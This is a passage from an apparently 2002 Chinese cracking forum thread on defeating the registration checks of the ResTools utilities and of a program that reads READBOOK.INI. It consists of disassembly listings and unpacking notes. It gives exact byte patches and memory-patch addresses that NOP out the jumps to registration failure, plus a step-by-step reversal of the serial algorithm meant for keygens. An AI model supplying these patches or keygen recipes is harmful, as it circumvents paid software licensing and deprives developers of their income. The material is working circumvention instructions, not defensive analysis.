:0040A08B E8E6A30200 call 00434476
:0040A090 8B854CFFFFFF mov eax, dword ptr [ebp+FFFFFF4C] 此处为USER的ASCII
码共16个,不足用20补足.
:0040A096 8B8D48FFFFFF mov ecx, dword ptr [ebp+FFFFFF48] EAX=8--12,ECX=
4--8位,ESI=1--4位.
:0040A09C 8BB544FFFFFF mov esi, dword ptr [ebp+FFFFFF44]
:0040A0A2 03C8 add ecx, eax
:0040A0A4 038D50FFFFFF add ecx, dword ptr [ebp+FFFFFF50]-->此地址为USER的
最后4个(一般为20202020).
:0040A0AA 69F631750000 imul esi, 00007531------>应为IMUL ESI,ESI,7531
:0040A0B0 69C931750000 imul ecx, 00007531------>应为IMUL ECX,ECX,7531
只取低32位.

* Possible StringData Ref from Data Obj ->"BIN_OR_TEXT"
|
:0040A0B6 C704240C434600 mov dword ptr [esp], 0046430C
:0040A0BD 68B5000000 push 000000B5
:0040A0C2 53 push ebx
:0040A0C3 2BF1 sub esi, ecx-------------->得最后的运算值.

* Reference To: KERNEL32.FindResourceA, Ord:00A3h
|
:0040A0C5 FF1534224500 Call dword ptr [00452234]
:0040A0CB 50 push eax
:0040A0CC 53 push ebx

* Reference To: KERNEL32.LoadResource, Ord:01C7h
|
:0040A0CD FF153C224500 Call dword ptr [0045223C]

* Possible StringData Ref from Data Obj ->"Register"
|
:0040A0D3 6894484600 push 00464894
:0040A0D8 57 push edi
:0040A0D9 8945EC mov dword ptr [ebp-14], eax
:0040A0DC E8EDD20000 call 004173CE---->此CALL读READBOOK.INI中注册码(经过
变换后的码),放在EAX中.

* Possible StringData Ref from Data Obj ->"RegisterEncryptMode"
|
:0040A0E1 6880484600 push 00464880
:0040A0E6 57 push edi
:0040A0E7 8945F8 mov dword ptr [ebp-08], eax
:0040A0EA C745F012320000 mov [ebp-10], 00003212
:0040A0F1 C745E434120000 mov [ebp-1C], 00001234
:0040A0F8 C745E888880000 mov [ebp-18], 00008888
:0040A0FF C745F423230000 mov [ebp-0C], 00002323
:0040A106 E8C3D20000 call 004173CE
:0040A10B 83C410 add esp, 00000010
:0040A10E 85C0 test eax, eax
:0040A110 7524 jne 0040A136
:0040A112 8D45F4 lea eax, dword ptr [ebp-0C]
:0040A115 50 push eax
:0040A116 8D45E8 lea eax, dword ptr [ebp-18]
:0040A119 50 push eax
:0040A11A 8D45E4 lea eax, dword ptr [ebp-1C]
:0040A11D 50 push eax
:0040A11E 8D45F0 lea eax, dword ptr [ebp-10]
:0040A121 50 push eax

* Possible StringData Ref from Data Obj ->"C:\"
|
:0040A122 6860474600 push 00464760

* Reference To: KERNEL32.GetDiskFreeSpaceA, Ord:0100h
|
:0040A127 FF15F8214500 Call dword ptr [004521F8]--->注意此CALL,它调用C盘的
磁盘空间(此空间不知怎么取的? 似与真的不相符).
:0040A12D 8B45F4 mov eax, dword ptr [ebp-0C]-->取出的第1个值.
:0040A130 0FAF45F0 imul eax, dword ptr [ebp-10]->与第2个值相乘(我的为40)
:0040A134 EB19 jmp 0040A14F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A110(C)
|
:0040A136 8D45C4 lea eax, dword ptr [ebp-3C]
:0040A139 C745C420000000 mov [ebp-3C], 00000020
:0040A140 50 push eax

* Reference To: KERNEL32.GlobalMemoryStatus, Ord:018Dh
|
:0040A141 FF15F0214500 Call dword ptr [004521F0]
:0040A147 8B45D0 mov eax, dword ptr [ebp-30]
:0040A14A 05CCEDFFFF add eax, FFFFEDCC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A134(U)
|
:0040A14F F7D0 not eax --------------------->相乘后的积取反.
:0040A151 3145F8 xor dword ptr [ebp-08], eax -->[EBP-08]里放的为READ
BOOK.INI中的变换后的注册码.
:0040A154 33C0 xor eax, eax
:0040A156 A3FC644600 mov dword ptr [004664FC], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A176(C)
|
:0040A15B 3975F8 cmp dword ptr [ebp-08], esi--->ESI中为我们注册名运算
后得到的值.
:0040A15E 741D je 0040A17D---->就是上面的两个值要等,要不就GAMEOVER了.
:0040A160 8B55EC mov edx, dword ptr [ebp-14]
:0040A163 8BC8 mov ecx, eax
:0040A165 83E17F and ecx, 0000007F
:0040A168 03348A add esi, dword ptr [edx+4*ecx]
:0040A16B 40 inc eax
:0040A16C 3DFF0F0000 cmp eax, 00000FFF
:0040A171 A3FC644600 mov dword ptr [004664FC], eax
:0040A176 72E3 jb 0040A15B
:0040A178 3975F8 cmp dword ptr [ebp-08], esi
:0040A17B 7547 jne 0040A1C4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A15E(C)
|
:0040A17D 8B75FC mov esi, dword ptr [ebp-04]
:0040A180 C705A4974B0001000000 mov dword ptr [004B97A4], 00000001-->此为注册标志.
:0040A18A FF761C push [esi+1C]

* Reference To: USER32.GetMenu, Ord:011Ch
|
:0040A18D FF1598254500 Call dword ptr [00452598]
:0040A193 50 push eax
:0040A194 E881270300 call 0043C91A
:0040A199 53 push ebx

上面的代码比较简单,校验过程过表述如下:
1.从READBOOK.INI中读出注册名(例如: sender)
程序在内存中补足16个: 73 65 6E 64 65 72 00 20 20 20 20 20 20 20 20 20
~~~~~~~~~~~~~~~~~
(s e n d e r)
算法: 20007265+20202020+20202020=A
A=A*0x7315
B=646E6573*0x7315,两值都取低32位.
B=B-A 注册名运算后的值.
2.读取磁盘空间.
在40A12D处移入EAX中的值假如为D.则D=D*0x40
经查API函数GETDISKFREESPACEA为磁盘剩余空间的函数.返加堆栈[EBP-C]中为C盘总的簇数?
[EBP-10](即0X40)中为每簇的扇区数? 但顺序好像不对,请高手指点一下.
将所得的积取反: E=NOT D
3.比较.
P=E X0R C(由READBOOK.INI中读出的注册码的16进制值).
由第1步中运算所得的B是否等于P? 相等就通过注册校验.
4.问题:
由于以前看到论坛上不知哪位大虾说同名下有很多注册码,可是依此处的校验法来看,好像不太
可能,还有就是GETDISKFREESPACEA函数,由上面的代码来看,传递给它的参数: C:\,3212,1234,
8888,2323是读取某一扇区上值还是读取的其它? 再看了一下作者的注册方式,好像不是用的硬盘空
间,那就应该读的是写入某一扇区的上固定值.另外这个函数只能在2GB的分区的空间下用,如果
超过2G,只能用GETDISKFREESPACEEX,我查了一下它的引入函数表,好像没有.不知哪位大虾能解释
一下? 多谢了.


ResTools

 标 题:一口气破解ResTools的四个软件：ResScope1.35、freeRes0.94、HexEdit0.20、GetVBRes0.51全过程 (10千字)
发信人:leeyam
时 间:2002-2-27 0:35:59
详细信息:
今天无意中发现ResTools的四个软件：ResScope1.35、freeRes0.94、HexEdit0.20、GetVBRes0.51都还不错，
全部下载进行研究，凭我以前用过freeRes0.94的经验，知道这些软件都需要输入四○位的注册码〔太恐怖，手都要打麻了！〕这次我就不再找注册码了，直接修改软件，免得我每次输的麻烦。

下面开始一个个的开刀！

第一个是ResScope1.35，发现是用ASPack加的壳，轻松干掉。
脱壳后用W32Dasm打开ResScope.exe，查找字串"regcode"找到以下代码：

* Possible StringData Ref from Code Obj ->"regcode"…………………………向下看↓↓↓
|
:004B9B4E BA249C4B00 mov edx, 004B9C24
:004B9B53 8B45F8 mov eax, dword ptr [ebp-08]
:004B9B56 E80DFAFFFF call 004B9568

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B9B49(C)
|
:004B9B5B 8B45F0 mov eax, dword ptr [ebp-10]
:004B9B5E E87DA3F4FF call 00403EE0
:004B9B63 83F828 cmp eax, 00000028…………………………这里是比较你输入的注册码是否为四○位〔28转换十进制为40〕。
:004B9B66 7538 jne 004B9BA0…………………………注册码不是四○位就跳走。
:004B9B68 8B45F4 mov eax, dword ptr [ebp-0C]
:004B9B6B E870A3F4FF call 00403EE0
:004B9B70 85C0 test eax, eax
:004B9B72 7E2C jle 004B9BA0
:004B9B74 68338C0000 push 00008C33
:004B9B79 8D45EC lea eax, dword ptr [ebp-14]
:004B9B7C 50 push eax
:004B9B7D B982310000 mov ecx, 00003182
:004B9B82 BAD5030000 mov edx, 000003D5
:004B9B87 8B45F4 mov eax, dword ptr [ebp-0C]
:004B9B8A E80DFCFFFF call 004B979C
:004B9B8F 8B45EC mov eax, dword ptr [ebp-14]
:004B9B92 8B55F0 mov edx, dword ptr [ebp-10]
:004B9B95 E856A4F4FF call 00403FF0
:004B9B9A 7504 jne 004B9BA0…………………………这个数字和上面注册码不为四○位时跳到地方一样，不用说当然是跳到注册失败的位置。
:004B9B9C C645FF01 mov [ebp-01], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004B9B03(C), :004B9B66(C), :004B9B72(C), :004B9B9A(C)
|
:004B9BA0 33C0 xor eax, eax
:004B9BA2 5A pop edx
:004B9BA3 59 pop ecx
:004B9BA4 59 pop ecx
:004B9BA5 648910 mov dword ptr fs:[eax], edx
:004B9BA8 68BD9B4B00 push 004B9BBD

看来这个程序的注册码有四○位之多，即便是找到正确的注册码抄下来也要累得半死。干脆让它什么码都认多省事！嘻嘻``

决定将上面两个跳给它NOP掉！这样随意输入用户名和若干位注册码〔包括零位注册码－就是不输注册码〕

于是用UltraEdit将上面两个跳转7538和7504都改为9090，现在输入任意用户名都可以成功注册了！
注意看中间还有个跳：
:004B9B72 7E2C jle 004B9BA0
这也是跳到注册失败的位置，这里也可以NOP调，不过这里改了后就没有输入注册信息的乐趣了！
现在试试，随意填入注册信息，哈，注册成功！

搞定第一个，下面几个想必大同小异吧！

下面就拿GetVBRes0.51开刀了！
还是那种壳，轻松搞定！
脱壳后用W32Dasm打开GetVBRes.exe，还是查找字串"regcode"找到以下代码：

* Possible StringData Ref from Code Obj ->"regcode"…………………………向下看↓↓↓
|
:0049AE74 BAA8AF4900 mov edx, 0049AFA8
:0049AE79 8B45F8 mov eax, dword ptr [ebp-08]
:0049AE7C E8BFA3FCFF call 00465240

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049AE6F(C)
|
:0049AE81 8B45F0 mov eax, dword ptr [ebp-10]
:0049AE84 E83B8FF6FF call 00403DC4
:0049AE89 83F828 cmp eax, 00000028…………………………这里是比较你输入的注册码是否为四○位〔28转换十进制为40〕。
:0049AE8C 0F8591000000 jne 0049AF23…………………………注册码不是四○位就跳走。
:0049AE92 8B45F4 mov eax, dword ptr [ebp-0C]
:0049AE95 E82A8FF6FF call 00403DC4
:0049AE9A 85C0 test eax, eax
:0049AE9C 0F8E81000000 jle 0049AF23
:0049AEA2 68368C0000 push 00008C36
:0049AEA7 8D45EC lea eax, dword ptr [ebp-14]
:0049AEAA 50 push eax
:0049AEAB B985310000 mov ecx, 00003185
:0049AEB0 BAD8030000 mov edx, 000003D8
:0049AEB5 8B45F4 mov eax, dword ptr [ebp-0C]
:0049AEB8 E847FBFFFF call 0049AA04
:0049AEBD 8B55EC mov edx, dword ptr [ebp-14]
:0049AEC0 8D45F4 lea eax, dword ptr [ebp-0C]
:0049AEC3 E8148DF6FF call 00403BDC
:0049AEC8 8D55E8 lea edx, dword ptr [ebp-18]
:0049AECB 8B45F4 mov eax, dword ptr [ebp-0C]
:0049AECE E8C1F9FFFF call 0049A894
:0049AED3 8B45E8 mov eax, dword ptr [ebp-18]
:0049AED6 8B55F0 mov edx, dword ptr [ebp-10]
:0049AED9 E8F68FF6FF call 00403ED4
:0049AEDE 750C jne 0049AEEC…………………………别看走了眼，不是这里！这里可不能NOP掉，不然就没得玩了。
:0049AEE0 A1F0CA4A00 mov eax, dword ptr [004ACAF0]
:0049AEE5 8B00 mov eax, dword ptr [eax]
:0049AEE7 E85CFEFAFF call 0044AD48

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0049AEDE(C)
|
:0049AEEC 68368C0000 push 00008C36
:0049AEF1 8D45E4 lea eax, dword ptr [ebp-1C]
:0049AEF4 50 push eax
:0049AEF5 B985310000 mov ecx, 00003185
:0049AEFA BAD8030000 mov edx, 000003D8
:0049AEFF 8B45F0 mov eax, dword ptr [ebp-10]
:0049AF02 E8EDF8FFFF call 0049A7F4
:0049AF07 8B55E4 mov edx, dword ptr [ebp-1C]
:0049AF0A 8D45F0 lea eax, dword ptr [ebp-10]
:0049AF0D E8CA8CF6FF call 00403BDC
:0049AF12 8B45F4 mov eax, dword ptr [ebp-0C]
:0049AF15 8B55F0 mov edx, dword ptr [ebp-10]
:0049AF18 E8B78FF6FF call 00403ED4
:0049AF1D 7504 jne 0049AF23…………………………这个数字和上面注册码不为四○位时跳到地方一样，不用说当然是跳到注册失败的位置。
:0049AF1F C645FF01 mov [ebp-01], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0049AE29(C), :0049AE8C(C), :0049AE9C(C), :0049AF1D(C)
|
:0049AF23 33C0 xor eax, eax
:0049AF25 5A pop edx
:0049AF26 59 pop ecx
:0049AF27 59 pop ecx
:0049AF28 648910 mov dword ptr fs:[eax], edx
:0049AF2B 6840AF4900 push 0049AF40
一样的，连我的注释都不用改！
再用UltraEdit将上面两个跳转0F8591000000和7504都改为9090，现在输入任意用户名又注册成功了！

现在是HexEdit0.20了。
同样的方法找到以下代码：

* Possible StringData Ref from Code Obj ->"regcode"
|
:0045F1B8 BAECF24500 mov edx, 0045F2EC
:0045F1BD 8B45F8 mov eax, dword ptr [ebp-08]
:0045F1C0 E80FF6FFFF call 0045E7D4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F1B3(C)
|
:0045F1C5 8B45F0 mov eax, dword ptr [ebp-10]
:0045F1C8 E80F4BFAFF call 00403CDC
:0045F1CD 83F828 cmp eax, 00000028
:0045F1D0 0F8591000000 jne 0045F267
:0045F1D6 8B45F4 mov eax, dword ptr [ebp-0C]
:0045F1D9 E8FE4AFAFF call 00403CDC
:0045F1DE 85C0 test eax, eax
:0045F1E0 0F8E81000000 jle 0045F267
:0045F1E6 68358C0000 push 00008C35
:0045F1EB 8D45EC lea eax, dword ptr [ebp-14]
:0045F1EE 50 push eax
:0045F1EF B984310000 mov ecx, 00003184
:0045F1F4 BAD7030000 mov edx, 000003D7
:0045F1F9 8B45F4 mov eax, dword ptr [ebp-0C]
:0045F1FC E823FCFFFF call 0045EE24
:0045F201 8B55EC mov edx, dword ptr [ebp-14]
:0045F204 8D45F4 lea eax, dword ptr [ebp-0C]
:0045F207 E8E848FAFF call 00403AF4
:0045F20C 8D55E8 lea edx, dword ptr [ebp-18]
:0045F20F 8B45F4 mov eax, dword ptr [ebp-0C]
:0045F212 E89DFAFFFF call 0045ECB4
:0045F217 8B45E8 mov eax, dword ptr [ebp-18]
:0045F21A 8B55F0 mov edx, dword ptr [ebp-10]
:0045F21D E8CA4BFAFF call 00403DEC
:0045F222 750C jne 0045F230
:0045F224 A1DC774800 mov eax, dword ptr [004877DC]
:0045F229 8B00 mov eax, dword ptr [eax]
:0045F22B E8A8CFFEFF call 0044C1D8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F222(C)
|
:0045F230 68358C0000 push 00008C35
:0045F235 8D45E4 lea eax, dword ptr [ebp-1C]
:0045F238 50 push eax
:0045F239 B984310000 mov ecx, 00003184
:0045F23E BAD7030000 mov edx, 000003D7
:0045F243 8B45F0 mov eax, dword ptr [ebp-10]
:0045F246 E8C9F9FFFF call 0045EC14
:0045F24B 8B55E4 mov edx, dword ptr [ebp-1C]
:0045F24E 8D45F0 lea eax, dword ptr [ebp-10]
:0045F251 E89E48FAFF call 00403AF4
:0045F256 8B45F4 mov eax, dword ptr [ebp-0C]
:0045F259 8B55F0 mov edx, dword ptr [ebp-10]
:0045F25C E88B4BFAFF call 00403DEC
:0045F261 7504 jne 0045F267
:0045F263 C645FF01 mov [ebp-01], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0045F16D(C), :0045F1D0(C), :0045F1E0(C), :0045F261(C)
|
:0045F267 33C0 xor eax, eax
:0045F269 5A pop edx
:0045F26A 59 pop ecx
:0045F26B 59 pop ecx
:0045F26C 648910 mov dword ptr fs:[eax], edx
:0045F26F 6884F24500 push 0045F284

现在知道改哪了吧！

最后一个是freeRes0.94，它的修改方法是一样的，就是用TRW脱壳后不能运行，这样即使修改也不起作用了！幸好我有KeyMake1.6，用它制作内存补丁就可以了！

打开KeyMake，按F6键，出现“制作内存补丁”窗口。填入程序名freeRes.exe，在内存数据中单击“添加”按钮，出现“添加数据”窗口。在修改地址中填入：4BBCBC；修改长度：6；原始指令：0F8591000000；修改指令：909090909090，再按“添加”按钮再次输入修改地址：4BBD4D；修改长度：2；原始指令：7504；修改指令：9090。保存退出，将它拷贝到freeRes.exe同一目录下运行，输入任意用户名再次注册成功了！

搞完！
leeyam
http://leeyam.126.com/
http://leeyam.yeah.net/

标 题:GetVBRes0.51的破解后双字节还是不能存，你试了吗？ (空)
发信人:396
时 间:2002-2-27 10:05:46
详细信息:

标 题:GETVBRES的注册破解 (6千字)
发信人:hello!
时 间:2002-2-28 12:36:46
详细信息:

本不想写这个文章，一来因为现在好象好多前辈越来越保守，不愿意再多讲什么，我也不愿意在这种环境里
多讲话，二来，RESTOOLS系列的工具编的实在不错，作者肯定花了不少心血，而且注册费也不是很贵，所以
发表破解有点不好意思。但我的关于破解方面的一点浅薄的知识大部分来源于看学论坛的各位前辈的无私奉
献，所以既然有人问起，就只好写上一写，为看学论坛出点小力，还请前辈高手指教
使用工具：trw2000(娃娃版，致谢），DEDE3.0，HIEW676
以下是dede反译出getvbres的部分代码：
0049AE05 64FF30 push dword ptr fs:[eax]
0049AE08 648920 mov fs:[eax], esp
0049AE0B BA02000080 mov edx, $80000002
0049AE10 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.SetRootKey(TRegistry;Windows.HKEY);
|
0049AE13 E8749EFCFF call 00464C8C
0049AE18 B101 mov cl, $01

* Possible String Reference to: 'SOFTWARE\RESTOOLS\GetVBRes'
|
0049AE1A BA74AF4900 mov edx, $0049AF74
0049AE1F 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.OpenKey(TRegistry;System.AnsiString;System.Boolean):System.Boolean;
|
0049AE22 E8A99FFCFF call 00464DD0
0049AE27 84C0 test al, al
0049AE29 0F84F4000000 jz 0049AF23
0049AE2F 8D45F4 lea eax, [ebp-$0C]

* Reference to: system.@LStrClr(String);
|
0049AE32 E80D8DF6FF call 00403B44
0049AE37 8D45F0 lea eax, [ebp-$10]

* Reference to: system.@LStrClr(String);
|
0049AE3A E8058DF6FF call 00403B44

* Possible String Reference to: 'reguser'
|
0049AE3F BA98AF4900 mov edx, $0049AF98
0049AE44 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ValueExists(TRegistry;System.AnsiString):System.Boolean;
|
0049AE47 E8B0A5FCFF call 004653FC
0049AE4C 84C0 test al, al
0049AE4E 7410 jz 0049AE60
0049AE50 8D4DF4 lea ecx, [ebp-$0C]

* Possible String Reference to: 'reguser'
|
0049AE53 BA98AF4900 mov edx, $0049AF98
0049AE58 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ReadString(TRegistry;System.AnsiString):System.AnsiString;
|
0049AE5B E8E0A3FCFF call 00465240

* Possible String Reference to: 'regcode'
|
0049AE60 BAA8AF4900 mov edx, $0049AFA8
0049AE65 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ValueExists(TRegistry;System.AnsiString):System.Boolean;
|
0049AE68 E88FA5FCFF call 004653FC
0049AE6D 84C0 test al, al
0049AE6F 7410 jz 0049AE81
0049AE71 8D4DF0 lea ecx, [ebp-$10]

* Possible String Reference to: 'regcode'
|
0049AE74 BAA8AF4900 mov edx, $0049AFA8
0049AE79 8B45F8 mov eax, [ebp-$08]

* Reference to: registry.TRegistry.ReadString(TRegistry;System.AnsiString):System.AnsiString;
|
0049AE7C E8BFA3FCFF call 00465240
0049AE81 8B45F0 mov eax, [ebp-$10]

* Reference to: system.@LStrLen:Integer;
| or: system.@DynArrayLength;
| or: system.DynArraySize(Pointer):Integer;
|
0049AE84 E83B8FF6FF call 00403DC4
0049AE89 83F828 cmp eax, +$28 判断长度
0049AE8C 0F8591000000 jnz 0049AF23
0049AE92 8B45F4 mov eax, [ebp-$0C]

* Reference to: system.@LStrLen:Integer;
| or: system.@DynArrayLength;
| or: system.DynArraySize(Pointer):Integer;
|
0049AE95 E82A8FF6FF call 00403DC4
0049AE9A 85C0 test eax, eax
0049AE9C 0F8E81000000 jle 0049AF23
0049AEA2 68368C0000 push $00008C36
0049AEA7 8D45EC lea eax, [ebp-$14]
0049AEAA 50 push eax
0049AEAB B985310000 mov ecx, $00003185
0049AEB0 BAD8030000 mov edx, $000003D8
0049AEB5 8B45F4 mov eax, [ebp-$0C]

|
0049AEB8 E847FBFFFF call 0049AA04
0049AEBD 8B55EC mov edx, [ebp-$14]
0049AEC0 8D45F4 lea eax, [ebp-$0C]

* Reference to: system.@LStrLAsg;
|
0049AEC3 E8148DF6FF call 00403BDC
0049AEC8 8D55E8 lea edx, [ebp-$18]
0049AECB 8B45F4 mov eax, [ebp-$0C]

|
0049AECE E8C1F9FFFF call 0049A894
0049AED3 8B45E8 mov eax, [ebp-$18]
0049AED6 8B55F0 mov edx, [ebp-$10]

* Reference to: system.@LStrCmp;------》这个函数是不是很好猜？
|
0049AED9 E8F68FF6FF call 00403ED4
0049AEDE 750C jnz 0049AEEC 判断是不是假码，不等就对了
0049AEE0 A1F0CA4A00 mov eax, dword ptr [$4ACAF0]
0049AEE5 8B00 mov eax, [eax]

* Reference to: forms.TApplication.Terminate(TApplication);相等就完蛋
|
0049AEE7 E85CFEFAFF call 0044AD48
0049AEEC 68368C0000 push $00008C36 从这里开始
0049AEF1 8D45E4 lea eax, [ebp-$1C]
0049AEF4 50 push eax
0049AEF5 B985310000 mov ecx, $00003185
0049AEFA BAD8030000 mov edx, $000003D8
0049AEFF 8B45F0 mov eax, [ebp-$10]

|
0049AF02 E8EDF8FFFF call 0049A7F4
0049AF07 8B55E4 mov edx, [ebp-$1C]
0049AF0A 8D45F0 lea eax, [ebp-$10]

* Reference to: system.@LStrLAsg;
|
0049AF0D E8CA8CF6FF call 00403BDC 到这里结束，算出真正的注册码(我很懒，
怕烦，只大概看了一下，好象和前面那个
假码有点关系，另算的20位码子）
0049AF12 8B45F0 mov eax, [ebp-$10]这里
0049AF15 8B55F0 mov edx, [ebp-$10]和这里就是真正要比较的东西

* Reference to: system.@LStrCmp;又看到熟面孔了
|
0049AF18 E8B78FF6FF call 00403ED4
0049AF1D 7504 jnz 0049AF23 不同就表示未注册
0049AF1F C645FF01 mov byte ptr [ebp-$01], $01相同就写上已注册标记
0049AF23 33C0 xor eax, eax
0049AF25 5A pop edx
0049AF26 59 pop ecx
0049AF27 59 pop ecx
0049AF28 648910 mov fs:[eax], edx
过程就是如此，很简单，我是用SMC解决这个问题的，具体怎么做，请参考精华III中mercury写的
大作，《SMC体会》一文，相信劳动得来的果实最香甜。谢谢看完。

hello!

标 题:算法大概是这样吧！有什么不对的地方，大家多多包涵！ (884字)
发信人:happy new year
时 间:2002-2-27 15:26:30
详细信息:

FREERES0。94的注册大致如下：

而在程序里，

a: NAME+HARDCODE（补成20位）------算法A------识别CODE1（20位）；
b: NAME+HARDCODE（补成20位）------算法B------假REGCODE（40位）；
c: INPUT REGCODE------B逆算法----识别CODE2（20位）；
CODE1=CODE2 注册成功。

在跟踪时，你一定看到过个假注册码！（先要谢谢作者了！等下有大用处）。

keygen的算法就是：

NAME+HARDCODE(补成20位)-----算法A------识别CODE1------算法B------TURE REGCODE；

如果你不是想写注册机，那你只要在跟踪程序时，

在程序运行到b时，把内存里的NAME+HARDCODE（补成20位）改成识别CODE1（20位）；

那么，到时候里看到的那个注册码，就是真的了! ^_^ !

MINBIN/CCG

标 题:不错，算法确实是这样的，完全正确。 (210字)
发信人:Maomao[CCG]
时 间:2002-2-27 22:27:59
详细信息:

最难的是最后一步逆推，按分析情况来看，几乎是不可逆的。如果用穷举法，出几乎实现不了。但作者给我们留了一条后路，就是那个假注册码，不然，我相信，没几个人能做出它的注册机。所以，这也是我不让fish公开我注册机的原因。


Restools系列 by Sam.com

 标 题:Restools系列完全破解~~~~~~~~~~~~~~~~~~~~~~~ (12千字)
发信人:Sam.com
时 间:2002-3-3 14:24:48
详细信息:
Restools系列完全破解~~~~~~~~~~~~~~~~~~~~~~~

下载地址:http://restools.go.163.com/

写此文全靠happy new year贴子提示!

不过happy new year写的算法应该有错,经过我这两天的破解,基本确定算法如下:

注:FreeRes0.94、HexEdit0.20、GetVBRes0.51的基本算法相同(下面四步)
ResScope1.35、FreeRes0.60只用A、B两步就行了

A: Name+HardCode（补成20位）------算法X------>识别Code1（20位）
B: 识别Code1（20位）--------------算法Y------>假RegCode（40位）

C: Input RegCode-----------------Y逆算法----->识别Code2（20位）
D: 识别Code2（20位）-------------X逆算法----->识别Code3（20位）

Code1=Code3 注册成功!

Keygen的算法应该是：

Name+HardCode(补成20位)---算法X---算法X---识别CODE2---算法Y---Ture RegCode

为什么呢?我们从D步往上推:

识别Code3（20位）-------------算法X----->识别Code2（20位）
识别Code2（20位）-------------算法Y----->Input RegCode（40位）
如果我们的Code3是正确的也就是Code3=Code1的话,我们输入的Regcode就是正确RegCode了,那么:
识别Code1（20位）-------------算法X----->识别Code2（20位）
也是成立的,所以我们用Name+HardCode（补成20位）经过两次算法X就可以得到Code2了,Code2再经过算法Y就可以得到真RegCode了!

所以如果你不是想写注册机，先记下Code1,在程序将Name+HardCode补成20位后将它改成Code1,经过算法X,记下Code2,然后重新启动程序再次将它改成Code2,经过算法Y就可以得到真的注册码了:-)

为了免抄40位的注册码,我还是把它们的注册机都做了出来,完全测试通过,不过暂时不会发布出来,在此再次感谢注册机编写器的作者,让我省了不少功夫.

好了,下面以FreeRes 0.94为例说明:

==Step Z=========================================
这一步是将Name+HardCode补成20位,方法是将Name+HardCode后的最后一位放到第一位,将Name+HardCode的长度放到第二位,这两位是的形式是固定这样的,如果长度为19、20位,将最后1位放到第1位,第2位是长度(第2位一定是Name+HardCode的长度),再取Name+HardCode的前18位补上,如果长度小如18位的话,补位方法如下:
Name(Sam.com)+HardCode(1234567B)=Sam.com1234567B(共15位)
补位后:B 15h EDCSam.com1234567B
~~~ ~~~
注意第二位是16进制,也就是Name+HardCode的长度,第3到第5位是补上的,因为18-15=3,方法是用最后一位加1到第5位,加2到第4位,加3到第3位

0187:004BB9E0 MOV EAX,[EBP-04] <---eax指Name+HardCode
0187:004BB9E3 MOV BL,[EAX+ESI-01] <---esi是Name+HardCode的长度,这里取最后一位
0187:004BB9E7 MOV [EBP-0D],BL
0187:004BB9EA CMP ESI,BYTE +12 <---如果长度大于18位的话就跳
0187:004BB9ED JNL 004BBA33 <---如果跳过去的话就是简单的补上第1和第2位了
0187:004BB9EF CMP BL,7F
0187:004BB9F2 JNA 004BB9FD
0187:004BB9F4 MOV DWORD [EBP-14],FFFFFFFF
0187:004BB9FB JMP SHORT 004BBA04
0187:004BB9FD MOV DWORD [EBP-14],01 <---计数器
0187:004BBA04 MOV EAX,ESI
0187:004BBA06 MOV DL,12
0187:004BBA08 SUB DL,AL <---算出还差多少位
0187:004BBA0A TEST DL,DL
0187:004BBA0C JNA 004BBA33
0187:004BBA0E MOV [EBP-15],DL <---相差的位数做计数器
0187:004BBA11 ADD BL,[EBP-14] <---这里我们"B"加上1了
0187:004BBA14 LEA EAX,[EBP-20]
0187:004BBA17 MOV EDX,EBX
0187:004BBA19 CALL 00403E34
0187:004BBA1E MOV EAX,[EBP-20]
0187:004BBA21 LEA EDX,[EBP-04]
0187:004BBA24 MOV ECX,01
0187:004BBA29 CALL 0040419C <---记住这两个Call不用进去,只是进行补位
0187:004BBA2E DEC BYTE [EBP-15]
0187:004BBA31 JNZ 004BBA11 <---我这里会循环3次
0187:004BBA33 LEA EAX,[EBP-24]
0187:004BBA36 MOV DL,[EBP-0D]
0187:004BBA39 CALL 00403E34
0187:004BBA3E MOV EAX,[EBP-24]
0187:004BBA41 LEA EDX,[EBP-04]

==Step X============================================
算法X不算难

0187:004BB4CE MOV [EBP-09],AL <---AL是计数器,循环20次
0187:004BB4D1 MOV BL,01 <---指针
0187:004BB4D3 LEA EAX,[EBP-10]
0187:004BB4D6 XOR EDX,EDX
0187:004BB4D8 MOV DL,BL
0187:004BB4DA MOV ECX,[EBP-04]
0187:004BB4DD MOV DL,[ECX+EDX-01] <---补位后的数据第一位
0187:004BB4E1 MOV ECX,ESI <---esi=3D6 这个是重要的数据
0187:004BB4E3 SHR ECX,08
0187:004BB4E6 XOR DL,CL <---DL就是Code1的第一位了
0187:004BB4E8 CALL 00403E34
0187:004BB4ED MOV EDX,[EBP-10]
0187:004BB4F0 MOV EAX,EDI
0187:004BB4F2 CALL 00403F14 <---还记得这两个Call吗,只是保存数据而已
0187:004BB4F7 XOR EAX,EAX
0187:004BB4F9 MOV AL,BL
0187:004BB4FB MOV EDX,[EDI]
0187:004BB4FD MOVZX EAX,BYTE [EDX+EAX-01] <---Code1的第一位
X逆算法很简单,只是上面这一句指向的地址不同,如果是逆算法的话上面就不是Code1的第一位,而是补位后的数据第一位,其它的都一样.

0187:004BB502 ADD ESI,EAX <---加上esi(3D6)
0187:004BB504 IMUL ESI,[EBP-08] <---[EBP-08]=3138 重要数据
0187:004BB508 ADD ESI,[EBP+0C] <---[EBP+0C]=8C34 重要数据
0187:004BB50B INC EBX
0187:004BB50C DEC BYTE [EBP-09]
0187:004BB50F JNZ 004BB4D3 <---注意第一次往上跳后004BB4E1处的esi就不是3D6了

==Step Y==========================================
算法Y有点复杂,它循环20次,按3种情况每次生成两个字符,所以最后的注册码是40位的

0187:004BB7E1 MOV [EBP-08],AL <---AL是计数器,循环20次
